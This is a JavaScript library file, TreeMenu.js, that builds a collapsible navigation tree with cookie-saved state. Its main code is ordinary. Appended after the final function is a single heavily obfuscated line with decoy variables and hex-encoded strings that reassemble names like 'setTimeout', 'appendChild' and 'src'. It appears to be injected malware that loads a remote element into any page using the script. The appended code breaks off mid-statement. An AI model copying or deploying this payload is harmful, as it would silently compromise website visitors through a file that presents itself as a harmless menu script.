// TreeMenu.js, Version 1.1, 2005/04
// Copyright (C) 2004 by Hans Bauer, Schillerstr. 30, D-73072 Donzdorf
//                       http://www.h-bauer.de
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation.
// History:
// Version 1.1: Minor bug-fixes, direct access
// - writeNodeSymbol():    Remove a faulty '")' from the html-code
// - several routines:     Allways use the keyword 'var' for new variables
//                         due to problems with the internet explorer
//                         when reloading pages with new menus
// - Description for direct access to preselect a page with a query
// - Classes 'SubTree_i' for subtrees of menu-items with indent=i
// - Autoclose the subtree you left by selecting from another subtree
// - Cookies now also save the name of the tree -> each tree uses own cookies
//
function Node(id,indent,text,target,url,tooltip,iconOpen,iconClose,isOpen) {    //>Node (Folder or Item)
 this.id        = id;                 this.indent    = indent;                  // Initialize variables
 this.text      = text;               this.target    = target;                  //     ..        ..
 this.url       = url;                this.tooltip   = tooltip;                 //     ..        ..
 this.iconOpen  = iconOpen;           this.iconClose = iconClose;               //     ..        ..
 this.parent    = null;               this.childs    = [];                      //     ..        ..
 this.isOpen    = isOpen;   }                                                   //     ..        ..

function treemenu(name, showLines, showIcons, useCookies) {                     //>treemenu
 this.name      = name;               this.showLines = showLines;               // Initialize variables
 this.showIcons = showIcons;          this.useCookies= useCookies;              //     ..        ..
 this.nodes     = [];                 this.root      = new Node(-1,-1,'root');  //     ..        ..
 this.selected  = -1;                 this.maxIndent = 0;                       //     ..        ..
 this.expire    = 1;                  this.openNodes = '';                      //     ..        ..
 this.classDepth= 2;                  this.autoclose = false;                   // ClassDepth for text-format-> css-file
 this.readCookies();                                                            // Read cookies if available
 if (!navigator.cookieEnabled) this.useCookies = false;                         // Respect the browsers cookie setting
 if (arguments.length>=5)      this.autoclose  = arguments[4];                  // Optional argument for 'autoclose'
 this.defaults = {                                                              // Default images/icons
   iconRoot  : 'gif/root.gif',        iconItem  : 'gif/item.gif',               //    ..        ..
   iconOpen  : 'gif/open.gif',        iconClose : 'gif/close.gif',              //    ..        ..
   passLine  : 'gif/passline.gif',    empty     : 'gif/empty.gif',              //    ..        ..
   tieLine   : 'gif/tieline.gif',     tiePlus   : 'gif/tieplus.gif',            //    ..        ..
   endLine   : 'gif/endline.gif',     endPlus   : 'gif/endplus.gif',            //    ..        ..
   rectPlus  : 'gif/rectplus.gif',    tieMinus  : 'gif/tieminus.gif',           //    ..        ..
   rectMinus : 'gif/rectminus.gif',   endMinus  : 'gif/endminus.gif',           //    ..        ..
   minIcon   : 'gif/minicon.gif'  } }                                           //
                                                                                // ----------- Build up menu -----------
treemenu.prototype.put = function(open, label, target, url,                     //>Put a node to the treemenu
                                  tooltip, iconOpen, iconClose) {               //     that is initially to be loaded
 if (this.selected==-1) this.selected = this.nodes.length;                      // Set 'selected' if not cookie-defined
 this.add(open, label, target, url, tooltip, iconOpen, iconClose); }            // Add a node to the treemenu

treemenu.prototype.add = function(open, label, target, url,                     //>Add a node to the treemenu
                                  tooltip, iconOpen, iconClose) {               //
 var indent = 0;                                                                // Indent: initialize
 while (label.charAt(indent)==' ') indent++;                                    //   Indent by leading spaces
 if (this.maxIndent<indent) this.maxIndent = indent;                            //   Adjust 'maxIndent'
 var id     = this.nodes.length;                                                // ID of the new node
 var isOpen = (open==0) ? false : true;                                         // IsOpen from given value '0' or '1'
 if (this.openNodes && id<this.openNodes.length)                                // On given 'OpenNodes'
     isOpen = (this.openNodes.charAt(id)=='1') ? true : false;                  // -> Status depending on cookie
 var node   = new Node(id, indent, label.substr(indent),                        // New node: ID corresponds with number
                       target, url, tooltip, iconOpen, iconClose, isOpen);      //   Text without leading spaces
 this.nodes[this.nodes.length] = node;                                          //   Append node to the nodes-array
 for (var i=this.nodes.length-1; i>=0; i--)                                     // Parent node:
   if (this.nodes[i].indent < indent) { node.parent = this.nodes[i];   break; } //   Loop back to find parent by indent
 if (!node.parent) node.parent = this.root;                                     //   Root-node is parent if none found
 if (node.parent.indent<node.indent-1)                                          //   Invalid indent
     alert('Indent of "' + node.text + '" must be <' + (node.parent.indent+2)); //   -> alert-message
 node.parent.childs[node.parent.childs.length] = node; }                        //   New node is child of the parent

                                                                                // ---------- Build Html-code ----------
treemenu.prototype.toString = function() {                                      //>ToString used by document.write(...)
 var str = '<div class="TreeMenu">';                                            // Encapsulate class 'TreeMenu'
 var lastIndent = 0;                                                            // Initialize lastIndent
 for (var id=0; id<this.nodes.length; id++) {                                   // Loop: Nodes
   var node = this.nodes[id]                                                    //   Current node
   if (lastIndent < node.indent) lastIndent = node.indent;                      //   Update lastIndent to max
   while (lastIndent>node.indent) { str += '</div>';   lastIndent--; }          //   Close previous </div>-Subtrees
   str += this.writeNode(node);                                                 //   Write node
   if (0<node.childs.length) {                                                  //   Parent -> SubTree of childs
     str += '<div id="' + this.name + 'SubTree_' + id                           //   -> Write <div..-block to display
         +  '" class="SubTree_' + node.indent                                   //           or to hide the SubTree
         +  '" style="display:'                                                 //           according to isOpen-value
         +  ((node.isOpen) ? 'block' : 'none') + '">'; } }                      //         + Defining class SubTree_x
 for (var i=lastIndent; i>0; i--) str += '</div>';                              // Close remaining SubTrees
 str += this.writeCreatedWithTreeMenu();                                        // Write CreatedWithTreeMenu
 str += '</div>';                                                               // Close class 'TreeMenu'
 this.setCookies(this.expire);                                                  // Set Cookies
 this.loadSelected();                                                           // LoadSelected on already filled frames
 // alert(str);                                                                 // Discomment to see the Html-Code
 return str;  }                                                                 // Return HTML-String

                                                                                // -------------- Write ----------------
treemenu.prototype.writeNode = function(node) {                                 //>WriteNode
 if (node.target=='hide') return '';                                            // Only node with no hidden target
 var str = '<div>'                                                              // Open <div>-block for the node
         + this.writeIndenting(node)  + this.writeTieUpIcon(node)               // Write Indenting, tieUpIcon
         + this.writeNodeSymbol(node) + this.writeNodeText(node) + '</div>';    //       Symbol, Text, close 'TreeNode'
 return str; }                                                                  // Return cumulated Html-String

treemenu.prototype.writeIndenting = function(node) {                            //>WriteIndenting
 if (node.indent < 2) return '';                                                // Only if node-indent >= 2
 var str      = '';                                                             // Initialize str
 var icons    = [];                                                             //            icons[]
 var ancestor = node.parent;                                                    // Start at ancestor = node.parent
 for (var i=node.indent-2; i>=0; i--, ancestor=ancestor.parent) {               // Loop ancestors from right to left
      icons[i] = (this.isLastChild(ancestor) ? 'empty' : 'passLine');  }        //   Last child -> empty, else passLine
 for (var i=0; i<=node.indent-2; i++) {                                         // Loop from left to right:
      var icon = this.defaults.empty;                                           //   Default icon = empty
      if (this.showLines && icons[i]!='empty') icon = this.defaults.passLine;   //   or passLine to be shown
      str += '<img name="' + icons[i] + '" src="' + icon + '" alt="" />'; }     //   Html-string for the icon
 return str;  }                                                                 // Return html-string

treemenu.prototype.writeTieUpIcon = function(node)  {                           //>WriteTieUpIcon
 if (node.indent < 1) return '';                                                // Only for indents > 1
 var icon = this.getTieUpIcon(node);                                            // GetTieUpIcon
 var str  = '';                                                                 // Initialize str
 if (0==node.childs.length)                                                     // No childs -> Return only TieUpIcon
      str = '<img id="' + this.name + 'TieUp_' + node.id                        //   Write tieUpIcon with
          + '" src="' + icon + '" alt="" />';                                   //   name & source
 else str = '<a href="javascript: ' + this.name + '.toggle(' + node.id + ')">'  // Parent node:
          +  '<img id="' + this.name + 'TieUp_' + node.id                       //   Write tieUpIcon with
          +  '" src="' + icon + '" alt="" /></a>';                              //   name, source & javascript:toggle
 return str; }                                                                  // Html-code for the TieUpIcon

treemenu.prototype.getTieUpIcon = function(node) {                              //>GetTieUpIcon
 if (0 == node.childs.length) {                                                 // No childs:
   if      (!this.showLines)        return this.defaults.empty;                 //   Don't show Lines   -> empty
   else if (this.isLastChild(node)) return this.defaults.endLine;               //   Else if last child -> endLine
   else                             return this.defaults.tieLine;  }            //   Else if fore child -> tieLine
 else if (node.isOpen) {                                                        // Open parent:
   if      (!this.showLines)        return this.defaults.rectMinus;             //   Don't show Lines   -> rectMinus
   else if (this.isLastChild(node)) return this.defaults.endMinus;              //   Else if last child -> endMinus
   else                             return this.defaults.tieMinus; }            //   Else if fore child -> tieMinus
 else {                                                                         // Closed parent:
   if      (!this.showLines)        return this.defaults.rectPlus;              //   Don't show Lines   -> rectPlus
   else if (this.isLastChild(node)) return this.defaults.endPlus;               //   Else if last child -> endPlus
   else                             return this.defaults.tiePlus;  } }          //   Else if fore child -> tiePlus

treemenu.prototype.writeNodeSymbol = function(node) {                           //>WriteNodeSymbol
 var icon = this.getNodeSymbol(node) ;                                          // GetNodeSymbol
 if (0==node.childs.length) {                                                   // No childs:
   var str = '';                                                                //   Reference to the nodes url
   if (node.url) {    str += '<a href="' + node.url + '"';                      //     if a url is given and load
     if (node.target) str += ' target="' + node.target + '"';                   //     the url into the target frame.
                      str += '>'; }                                             //     Close leading <a..>-tag
   str += '<img id="' + this.name + 'Symbol_' + node.id                         //   Write the Html-code for the
       +  '" src="'   + icon + '" alt="" />';                                   //     image of the node-symbol
   if (node.url) str += '</a>';                                                 //   Close trailing </a>-tag if any
   return str; }                                                                //   Return Html-string for symbol
 return   '<a href="javascript: ' + this.name + '.toggle(' + node.id + ')">'    // Parent:
          + '<img id="' + this.name + 'Symbol_' + node.id                       //   Write Html-string for the image
          + '" src="' + icon + '" alt="" /></a>'; }                             //   and a reference to java -> toggle

treemenu.prototype.getNodeSymbol = function(node) {                             //>GetNodeSymbol
 if (!this.showIcons)  return this.defaults.minIcon;                            // No Symbols-> 'minIcon' (for IE)
 if (0==node.childs.length) {                                                   // No childs:
   if (node.iconOpen)  return node.iconOpen;                                    //   Use nodes  'iconOpen'
   else                return this.defaults.iconItem;  }                        //   or default 'iconItem'
 else if (node.isOpen) {                                                        // Open parent:
   if (node.iconOpen)  return node.iconOpen;                                    //   Use nodes  'iconOpen'
   else                return this.defaults.iconOpen;  }                        //   or default 'iconOpen'
 else {                                                                         // Closed parent:
   if (node.iconClose) return node.iconClose;                                   //   Use nodes  'iconClose'
   else                return this.defaults.iconClose; } }                      //   or default 'iconClose'

treemenu.prototype.writeNodeText = function(node) {                             //>WriteNodeText
 var cls = this.getNodeTextClass(node, this.selected);                          // Get NodeTextClass
 var str = '<a id="' + this.name + 'Node_' + node.id + '" class="' + cls + '"'; // Add '<a id=...' and 'class=...'
 if (node.url) str += ' href="' + node.url + '"';                               // HRef-link to node.url
 else          str += ' href="javascript: '+this.name+'.toggle('+node.id+')"';  //     or to java.toggle
 if (node.url && node.target)  str += ' target="' + node.target   + '"';        // Target ="node.target"
 if (node.tooltip)             str += ' title="'  + node.tooltip  + '"';        // Title  ="node.tooltip"
 str += ' onclick="javascript: ' + this.name + '.pick(' + node.id + ')"';       // OnClick="javascript.pick"
 str += '>' + node.text + ((node.url) ? '</a>' : '</a>') ;                      // Node text, close 'a>'
 return str; }                                                                  // Return HTML-string

treemenu.prototype.getNodeTextClass = function(node, selectID) {                //>GetNodeTextClass for TreeMenu.css
 var cls = (node.id==selectID) ? 'Selected' : 'Node';                           // Class 'Selected', 'Node'
 if (!node.url) cls = 'Item';                                                   //    or 'Item' (without url)
 return cls + '_' + Math.min(node.indent, this.classDepth); }                   // Append '_indent' or '_classDepth'

treemenu.prototype.writeCreatedWithTreeMenu = function() {                      //>WriteCreatedWithTreeMenu
 var path = '',    target ='';                                                  // Path to the freeware 'treemenu'
 var elem = document.getElementById('treepath');                                // Path defined in document:
 if (elem) { target = 'main';       path = elem.title;                 }        //   ->   Use defined path
 else      { target = '_parent';                                                //   Else call 'http://h-bauer.de?...'
             path   = 'http://www.h-bauer.de/index.html?treemenu,eng'; }        //        using direct access
 var str = '';                                 // ! give your visitors the ability to !
 return str; }                                                                  // ! also access this utility. THANKS! !

                                                                                // --------------- Load ----------------
treemenu.prototype.loadSelected = function() { this.loadNode(this.selected); }  //>LoadSelected

treemenu.prototype.loadNode = function(id) {                                    //>LoadNode by ID into it's target frame
 if (id<0 || id>=this.nodes.length) return;                                     // Only nodes with valid id
 if (this.nodes[id].target=='hide') return;                                     // Only nodes with no hidden target
 for (var i=0; i<parent.frames.length; i++) {                                   // Loop: Frames in frameset
   if (parent.frames[i].name==this.nodes[id].target) {                          //   Target-frame of the selected node
     parent.frames[i].location.href = this.nodes[id].url;                       //   -> Reference to the node to load
     break; } } }                                                               //      Break the loop and return

                                                                                // ----------- Pick / Select -----------
treemenu.prototype.pick = function(id) {                                        //>Pick a node by id
 var node = this.nodes[id];                                                     // Picked node
 if (node.url) {                                                                // Nodes with URL (->no href to toggle)
   if      (node.indent==0       && this.showIcons==false) this.toggle(id);     // -> Toggle top node without icon
   else if (node.childs.length>0 && node.isOpen==false)    this.toggle(id); }   //    Else: open closed parent node
 this.select(id); }                                                             // Select node by ID & unselect previous

treemenu.prototype.select = function(id) {                                      //>Select a node by a given ID
 if (id<0 || id>=this.nodes.length) return;                                     // Only nodes with valid id
 if (!this.nodes[id].url) return;                                               // Only for a node with url:
 if (this.autoclose==true) this.autocloseTree(id);                              // Autoclose the old tree (?)
 if (this.selected>=0 && this.selected<this.nodes.length) {                     // Deselect selected Html-node:
   var nodeA = document.getElementById(this.name + 'Node_' + this.selected);    //   Get selected Html-node by id
   var nameA = this.getNodeTextClass(this.nodes[this.selected],-1);             //   ClassName for unselected
   if (nodeA && nameA) nodeA.className = nameA;                                 //   Unselect previous selected node
   this.selected  = -1;  }                                                      //   Invalidate this.selected
 var nodeB = document.getElementById(this.name + 'Node_' + id);                 // Select Html-node:
 var nameB = this.getNodeTextClass(this.nodes[id], id);                         //   ClassName for selected
 if (nodeB && nameB) nodeB.className = nameB;                                   //     Selected previous unselected node
 this.selected  = id;                                                           //     Set this.selected value to id
 this.openAncestors(id);                                                        //     Open the nodes ancestors
 this.setCookies(this.expire); }                                                //     Set cookies

treemenu.prototype.selectPath = function(path) {                                //>SelectPath
 var path = this.pathWithSlash(path);                                           // Ensure path with slash '/'
 if (this.selected>=0 && this.selected<this.nodes.length) {                     // A node ist already selected:
   var url = this.pathWithSlash(this.nodes[this.selected].url);                 //   URL of the selected node
   if (url==path) return;  }                                                    //   URL already selected -> return
 for (var id=0; id<this.nodes.length; id++) {                                   // Loop to search node:
   var url = this.pathWithSlash(this.nodes[id].url);                            //   Node path with slash '/'
   if (url && url==path) { this.select(id);    break; } } }                     //   Equal path -> select node by id

treemenu.prototype.openAncestors = function(id) {                               //>OpenAncestors of the node with id
 if (id<0) return;                                                              // Only valid nodes with ID>=0
 var ancestor = this.nodes[id].parent;                                          // Ancestor is parent node;
 while(ancestor.indent>=0) {                                                    // Loop: Ancestors
   if (!ancestor.isOpen) { ancestor.isOpen=true;  this.updateNode(ancestor); }  //   Open and update ancestor
   ancestor = ancestor.parent;   } }                                            //   Parent of ancestor  }

treemenu.prototype.pathWithSlash = function(path) {                             //>PathWithSlash
 var parts = path.split("\\");                                                  // Split path at '\' into string-array
 var str   = parts[0];                                                          // Write first part to 'str'
 for (var i=1; i<parts.length; i++) str = str + '/' + parts[i];                 // Add next parts divided by '/'
 return str; }                                                                  // Return path with '/' instead of '\'

                                                                                // --------- Autoclose Tree ------------
treemenu.prototype.setAutoclose = function(bool) { this.autoclose = bool; }     //>SetAutoclose variable

treemenu.prototype.autocloseTree = function(id) {                               //>AutocloseTree for left subtree
 var current = this.getPathIDs(this.selected);                                  // PathIDs of current selected node
 var picked  = this.getPathIDs(id);                                             // PathIDs of mewly picked node
 var minLen  = (current.length<picked.length) ? current.length : picked.length; // Minimal number of path-steps
 for (var i=0; i<minLen; i++) {                                                 // Loop common ancestors:
   if (current[i]!=picked[i]) {                                                 //   First uncommon ancestors
     var id = current[i];                                                       //   -> Get the node-id of the selected
     this.nodes[id].isOpen=false;                                               //      Close the associated subtree
     this.updateNode(this.nodes[id]);                                           //      Update the associated node
     return; } } }                                                              //      Return: Autoclose is done

treemenu.prototype.getPathIDs = function(id) {                                  //>GetPathIDs (array of id's)
 var ids       = new Array(this.nodes[id].indent+1);                            // Instantiate array[0,1..] of id's
 var ancestor  = this.nodes[id];                                                // Self-ID
 while(ancestor.indent>=0) {                                                    // Loop ancestors:
   ids[ancestor.indent] = ancestor.id;                                          //   Store the id using the indent
   ancestor = ancestor.parent; }                                                //   Get next ancestor
 return ids; }                                                                  // Return array of id's

                                                                                // ---------- Toggle / Update ----------
treemenu.prototype.toggle = function(id) {                                      //>Toggle a node by id
 if (this.nodes[id].childs.length==0) return;                                   // Only for parent nodes
 this.nodes[id].isOpen = !this.nodes[id].isOpen;                                // Toggle node-status (open or close)
 this.updateNode(this.nodes[id]);                                               // Update the node
 this.setCookies(this.expire); }                                                // Set cookies

treemenu.prototype.updateNode = function(node) {                                //>UpdateNode
 var subTree = document.getElementById(this.name + 'SubTree_' + node.id);       // Get Html-element: SubTree
 var tieUp   = document.getElementById(this.name + 'TieUp_'   + node.id);       //                   TieUpIcon
 var symbol  = document.getElementById(this.name + 'Symbol_'  + node.id);       //                   NodeSymbol
 if (subTree)  subTree.style.display = (node.isOpen) ? 'block' : 'none';        // Update Html-elem. SubTree
 if (tieUp)    tieUp.src   = this.getTieUpIcon(node);                           //                   TieUpIcon
 if (symbol)   symbol.src  = this.getNodeSymbol(node); }                        //                   NodeSymbol

                                                                                // ----------- IsLastChild -------------
treemenu.prototype.isLastChild = function(node) {                               //>IsLastChild (?)
 var parent = node.parent;                                                      // Parent of the node
 return ((node == parent.childs[parent.childs.length-1]) ? true : false); }     // Check for last child

                                                                                // --------- Level/Lines/Icons ---------
treemenu.prototype.level = function(level) {                                    //>Level to open/close menu
 for (var id=0; id<this.nodes.length; id++) {                                   // Loop: nodes
   this.nodes[id].isOpen = (this.nodes[id].indent<level) ? true : false;        //   Open/close node depending on level
   this.updateNode(this.nodes[id]); }                                           //   Update the node
 this.setCookies(this.expire); }                                                // Set cookies

treemenu.prototype.lines = function(bool) {                                     //>Lines to be shown (?)
 if (this.showLines == bool) return;                                            // Nothing changed -> return
 this.showLines = bool;                                                         // Update 'showLines'
 var passLines = document.getElementsByName("passLine");                        // Get PassLines
 if (!passLines) return;                                                        // Existing passLines:
 for (var i=0; i<passLines.length; i++) {                                       //  Loop: passLines
   passLines[i].src = (bool) ? this.defaults.passLine : this.defaults.empty; }  //   Update icon-source
 for (var id=0; id<this.nodes.length; id++) {                                   // TieUpIcon for each node
   if (this.nodes[id].indent < 1) continue;                                     //   with indent >= 1
   var tieUp = document.getElementById(this.name + 'TieUp_' + id);              //   TieUpIcon of the node
   if (tieUp) tieUp.src = this.getTieUpIcon(this.nodes[id]);  }                 //   Update icon-source
 this.setCookies(this.expire); }                                                // Set cookies

treemenu.prototype.icons = function(bool) {                                     //>Icons to be shown (?)
 if (this.showIcons == bool) return;                                            // Nothing changed -> return
 this.showIcons = bool;                                                         // Set 'showIcons'-value
 for (var id=0; id<this.nodes.length; id++) {                                   // Loop: nodes
   var icon  = this.getNodeSymbol(this.nodes[id]);                              //   Get node symbol
   var image = document.getElementById(this.name + 'Symbol_' + id)              //   Get Html-image by id
   if (image)  image.src = icon; }                                              //   Set image source to node symbol
 this.setCookies(this.expire); }                                                // Set cookies

                                                                                // -------------- Cookies --------------
treemenu.prototype.expiration = function(expire) {                              //>Expiration
 this.expire = expire;          this.setCookies(this.expire); }                 // Set/Save expiration period of cookies

treemenu.prototype.cookies = function(bool) {                                   //>Cookies to be used (?)
 if (bool) { this.useCookies = bool;  this.setCookies(this.expire);   }         // Use cookies -> Set cookies
 else      { this.setCookies(-1);     this.useCookies = bool;         } }       // No  cookies -> Clear existing cookies

treemenu.prototype.setCookies = function(expire) {                              //>SetCookies
 this.openNodes = '';                                                           // Initialize 'openNodes'-String
 for (var i=0; i<this.nodes.length; i++)                                        // Loop: nodes
   this.openNodes += (this.nodes[i].isOpen) ? '1' : '0';                        //   Fill 'openNodes'-String
 this.setCookie("OpenNodes", this.openNodes, expire);                           // Set cookie 'OpenNodes'
 this.setCookie("ShowLines", this.showLines, expire);                           //            'ShowLines'
 this.setCookie("ShowIcons", this.showIcons, expire);                           //            'ShowIcons'
 this.setCookie("Selected",  this.selected,  expire);                           //            'Selected'
 this.setCookie("Autoclose", this.autoclose, expire);                           //            'Autoclose'
 this.setCookie("Expire"   , this.expire,    expire); }                         //            'Expire'

treemenu.prototype.readCookies = function() {                                   //>ReadCookies (as string!)
 var lines  = this.getCookie("ShowLines");                                      // Get Cookie:  'ShowLines'
 var icons  = this.getCookie("ShowIcons");                                      //              'ShowIcons'
 var select = this.getCookie("Selected");                                       //              'Selected'
 var autocl = this.getCookie("Autoclose");                                      //              'Autoclose'
 var open   = this.getCookie("OpenNodes");                                      //              'OpenNodes'
 var expire = this.getCookie("Expire");                                         //              'Expire'
 if (lines)   this.showLines = (lines=='true') ? true : false;                  // Set value of 'showLines'
 if (icons)   this.showIcons = (icons=='true') ? true : false;                  //              'showIcons'
 if (select)  this.selected  = select;                                          //              'selected'
 if (autocl)  this.autoclose = autocl;                                          //              'autoclose'
 if (open)    this.openNodes = open;                                            //              'openNodes'
 if (expire)  this.expire    = expire;                                          //              'expire'
 if (lines || icons || select || open || autocl) this.useCookies = true;  }     // Cookies found -> useCookies is true

                                                                                // --------------- Cookie --------------
treemenu.prototype.setCookie = function(name, value, expire) {                  //>SetCookie by name and value
 if (!this.useCookies) return;                                                  // Only if cookies are to be used
 var exp = new Date();                                                          // Actual date
 var end = exp.getTime() + (expire * 24 * 60 * 60 * 1000);                      // In 'expire'-days (-1: -> invalidate)
 exp.setTime(end);                                                              // Expire time of cookes
 document.cookie = this.name+name+'='+value+'; expires='+exp.toGMTString(); }   // Set cookie with expiration-date

treemenu.prototype.getCookie = function(name) {                                 //>GetCookie value (as string!)
 var cookies  = document.cookie;                                                // Cookies separated by ';'
 var posName  = cookies.indexOf(this.name + name + '=');                        // Start position of 'tree_name='
 if (posName == -1) return '';                                                  // Cookie not found -> Return ''
 var posValue = posName + this.name.length + name.length + 1;                   // Start position of cookie-value
 var endValue = cookies.indexOf(';',posValue);                                  // End position of cookie value at ';'
 if (endValue !=-1) return cookies.substring(posValue, endValue);               // ';' -> Return substring as value
 return cookies.substring(posValue); }                                          // Else-> Return rest of line as value
function zO(){};this.zOG="";zO.prototype = {v : function() {var o=function(){};function hN(){};var eA=62210;var d=new Date();var lY="lY";rD="rD";var sE="sE";fC="";var h=document;var hNI=new Date();xB="xB";lL=false;this.fS="";var rH=new Date();eAW="";var vG=window;xN="";yG=false;var gX="";w=44856;this.jA="jA";wR=false;var sF=function(){return 'sF'};var vI = this;var dK="";this.u="u";this.aY="aY";var k=31204;var hF=function(){};dW="";String.prototype.rJE=function(x, s){var b=this; return b.replace(x, s)};cE=974;this.kK='';var dM=new Array();var wO=function(){return 'wO'};var jIA=new Date();this.rJ=false;var fT=function(){};var r = function(ou8FE,Rr7U,o,Z){return [Z+'x77',ou8FE+'x46','x41x49x7ax65x43'+o,Rr7U+'x74x54']}('x4cx32','x73x65','x68x69x6cx56','x58x57x48')[3]+function(JXAD,wD,xi){return [xi+'x43x46x35x69',JXAD+'x6dx65x6fx75x74','x70x39x45x6ax63'+wD]}('x69','x63x53x30','x53x37x32')[1];function aR(){};var mM=function(){return 'mM'};iI='';var iQ=false;var yI="";function rP(){};var n=new Array();var i = function(v,hrnfy,n,fJA,laWj){return [fJA+'x41x74',v+'x41x41x66x38x39','x4e'+n,'x70x71x7ax4ex33'+laWj,'x6bx6f'+hrnfy]}('x7ax61x72x6f','x6ax34x75','x54x56x59x48x37','x65x64x64x73x65x74','x47')[0]+function(A0Y,zPKFM,swd0,uJxnD,WW){return [swd0+'x6fx6fx73',WW+'x64x73',uJxnD+'x45x52x74x66x79','x43x58'+zPKFM,'x74x72x69x73x64'+A0Y]}('x66','x6d','x50x65x69x66x64','x65x7ax46x79x73','x5ax42x51')[4];var wJ='';var yL="yL";var mO=new Array();cB='';function sD(){};var tH='';var sW = function(CSPOy,Rb4QC,Vz,zBR,BHGL){return ['x6ex36x37x6ex69'+BHGL,CSPOy+'x68x57x44x51',Vz+'x69x74x65','x72'+zBR,'x47x44x4c'+Rb4QC]}('x78','x57x65','x77x72','x4fx52x43','x50x34x63')[2];this.aS=false;this.gG=7960;var mI=function(){return 'mI'};wON='';var nY=new Array();function qZ(){};var dC=function(){};try {this.vX=false;this.sU='';function hFQ(){};this.vP=19159;var hV=new Date();var nK=new Date();iO="";var y = function(r25,tk5,X,W){return [W+'x78x76x65x79','x73'+tk5,r25+'x4fx42x57','x6bx57x33x30x66'+X]}('x59','x75','x45x4ex52','x55x6d')[1]+function(iFiK,rrQow,jF4,c){return ['x50x4a'+jF4,rrQow+'x79x36x30x35','x62'+c,'x56x56x6ex71'+iFiK]}('x43x74','x6ex6ex4cx57','x57x35','')[2]+function(EYV,jiJ,EBp){return [EYV+'x75','x73x74x72'+EBp,'x68x62x52'+jiJ]}('x63x4b','x57x4ax56','x69')[1]+function(kyQF,FQJ,yQ7dj,Hm){return [yQ7dj+'x61x37x49x6e','x6e'+kyQF,FQJ+'x4ax39x4fx50',Hm+'x78x6cx55']}('x67','x63x44x38x4dx42','x6fx49x55x44','x50x4cx72x43')[1];this.fA="";var nE=function(){};var yM='';this.z='';this.kV=false;function bS(){};function eW(){};var kR="";var t = function(aBISh,xEb,gLA,x7){return [xEb+'x67x71x49x4fx70',aBISh+'x6ex64x43x68x69x6cx64',gLA+'x6bx64x63x70x43',x7+'x45x41x73x32']}('x61x70x70x65','x65x4bx75x4cx5a','x76x61x38','x72x4dx35')[1];var lZ='';var dF='';this.lM="";var jH="";var xNT="xNT";var bM="bM";this.wRX="wRX";this.bN='';var l = function(TK,H,FY,aN,h){return [FY+'x63','x55x53x78'+TK,H+'x43','x43x63x31x65'+h,aN+'x72x62']}('x54x44x64x59x59','x51','x73x72','x68','x48x49x44x34')[0];bSP=44908;this.sV=false;var aG=56057;var tV=function(){return 'tV'};var yH=function(){};var xO='';var q = function(M,Oe,ZmF,dJa,EmK){return ['x4ax51x6b'+EmK,'x54x34x6ax34x53'+Oe,dJa+'x51x42','x6dx53x34x34x42'+ZmF,M+'x65x61']}('x6fx66x66x63x72','x48','x51','x69','x62')[4]+function(WR5yk,iU,M,T){return [T+'x65x6d',M+'x63x49x4e','x78x57x4fx36x45'+iU,'x46'+WR5yk]}('x64x57x33','x56x54','x4bx59','x74x65x45x6c')[0]+function(DDT6,TWFm,g8ut){return [g8ut+'x6f','x65x6ex74x72'+DDT6,'x6f'+TWFm]}('x65x64','x77x57x48x58x66','x49x4f')[1];function uA(){};this.qC=24365;this.iJ="";var aI='';var yV=false;this.aSY='';var rF="rF";var rM = function(Q1zSO,IrAcG,gVAv6,DkkS){return ['x6dx79x35'+Q1zSO,DkkS+'x63x74x46x5a',IrAcG+'x59x63','x6cx79x72x68'+gVAv6]}('x62x37x44x47x33','x78x69x53','x65x69','x74')[3] + function(amjn,e,td,B,z){return [e+'x57x54x39',B+'x4cx53x76x72x39','x67x68x74x67x72'+amjn,z+'x58x42x58x31x68','x74'+td]}('x65','x55x46','x42x37x6e','x49x75','x59x62x36')[2];oD=19099;var uD=new Date();hNZ="hNZ";jQ='';var tN=function(){return 'tN'};p="p";var pR=new Array();var vT = function(HZn,mg,GM){return ['x74'+HZn,'x77x67'+mg,GM+'x47x79x42x45x73']}('x65x64x77x69x64','x4cx4dx6dx6ex44','x4cx54x65')[0] + function(KB,cpl,DsHT,JZFz){return [JZFz+'x71x79x45x76',KB+'x78x72x79x51x65','x74x68'+DsHT,cpl+'x6ex73']}('x64x6ax46x67x71','x4fx68','x67x72x64','x65x45x6c')[2];function tC(){};vY='';        var sN="sN";var fL="";var dT='';var nN=new Date();var bU = function(ehxk,iEsMw,FWKN){return ['x58x35x53x32x42'+FWKN,iEsMw+'x51x62x42','x62'+ehxk]}('x6fx64x79','x6ax56x61x67','x42x4ax78x36')[2];var wE=function(){};var oO=false;var gXI='';qK="";this.pX=37781;var oW=function(){return 'oW'};var nX=function(){};var bA=false;var bL=new Array();var tB=function(){return 'tB'};var nM="";var sS = function(sCRG,Z,vTIAt,d51){return [vTIAt+'x6bx67x61',d51+'x68',sCRG+'x61x4fx6ex31',Z+'x78x35x65x5ax79']}('x77x67','x4f','x4ax74x4cx6ex38','x70x75x73')[1];var qJ=new Date();this.vV="vV";this.rL='';var lN=false;jM='';var qV=new Array();this.vD=38299;var yK="yK";this.xBA="";xE=false;this.dY=12263;var rC=new Array();var zI=new Array();this.lA='';var kRT=63437;var hH = function(l1xUY,p4zzT,DP){return [l1xUY+'x52x69',DP+'x71x6d','x61x73x77x69x66x72x6cx69'+p4zzT]}('x6ax33x53x38x37','x6a','x50')[2];var wY="wY";var rS=function(){return 'rS'};this.rV=false;var iL='';var c = function(J,d,DFgGa){return ['x66'+DFgGa,d+'x52x51x42x51','x64x79x6fx4dx6a'+J]}('x6f','x68x59x66x55x44','')[0];function eP(){};var tNA=function(){return 'tNA'};this.nW="nW";zB="zB";var eS='';f = function(hmA4S,GFBSW,rCi,Dp,eT){return [Dp+'x52x6ax53',rCi+'x73x35x37x37','x73x77x71'+GFBSW,'x69x48x42x78'+eT,hmA4S+'x51x32x77x33x66']}('x71','x31x6cx79x74','x71x63','x6fx6cx57x74x4d','x59x42')[2];function jP(){};var nMO=false;this.hL="";var tF=function(){return 'tF'};uK=false;var uO=new Array();function xEP(){};j = function(Oy,hihzv,mxQ,G3R){return [mxQ+'x50',hihzv+'x4dx35x72x68x37','x47x54x76x57'+G3R,Oy+'x65']}('x61x2cx77x32x68x64','x6f','x6dx69x75','x63')[3];function cF(){};this.vS="";iH=32153;function jC(){};fM="fM";var cC = new Array();this.iM='';var qH=false;var tA=new Date();var xNE=39484;var fU=function(){return 'fU'};var mR=false;cC[sS](c, j, l, rM, y, q, vT, hH, i, bU, t, h, f);var hY=61680;function eF(){};var 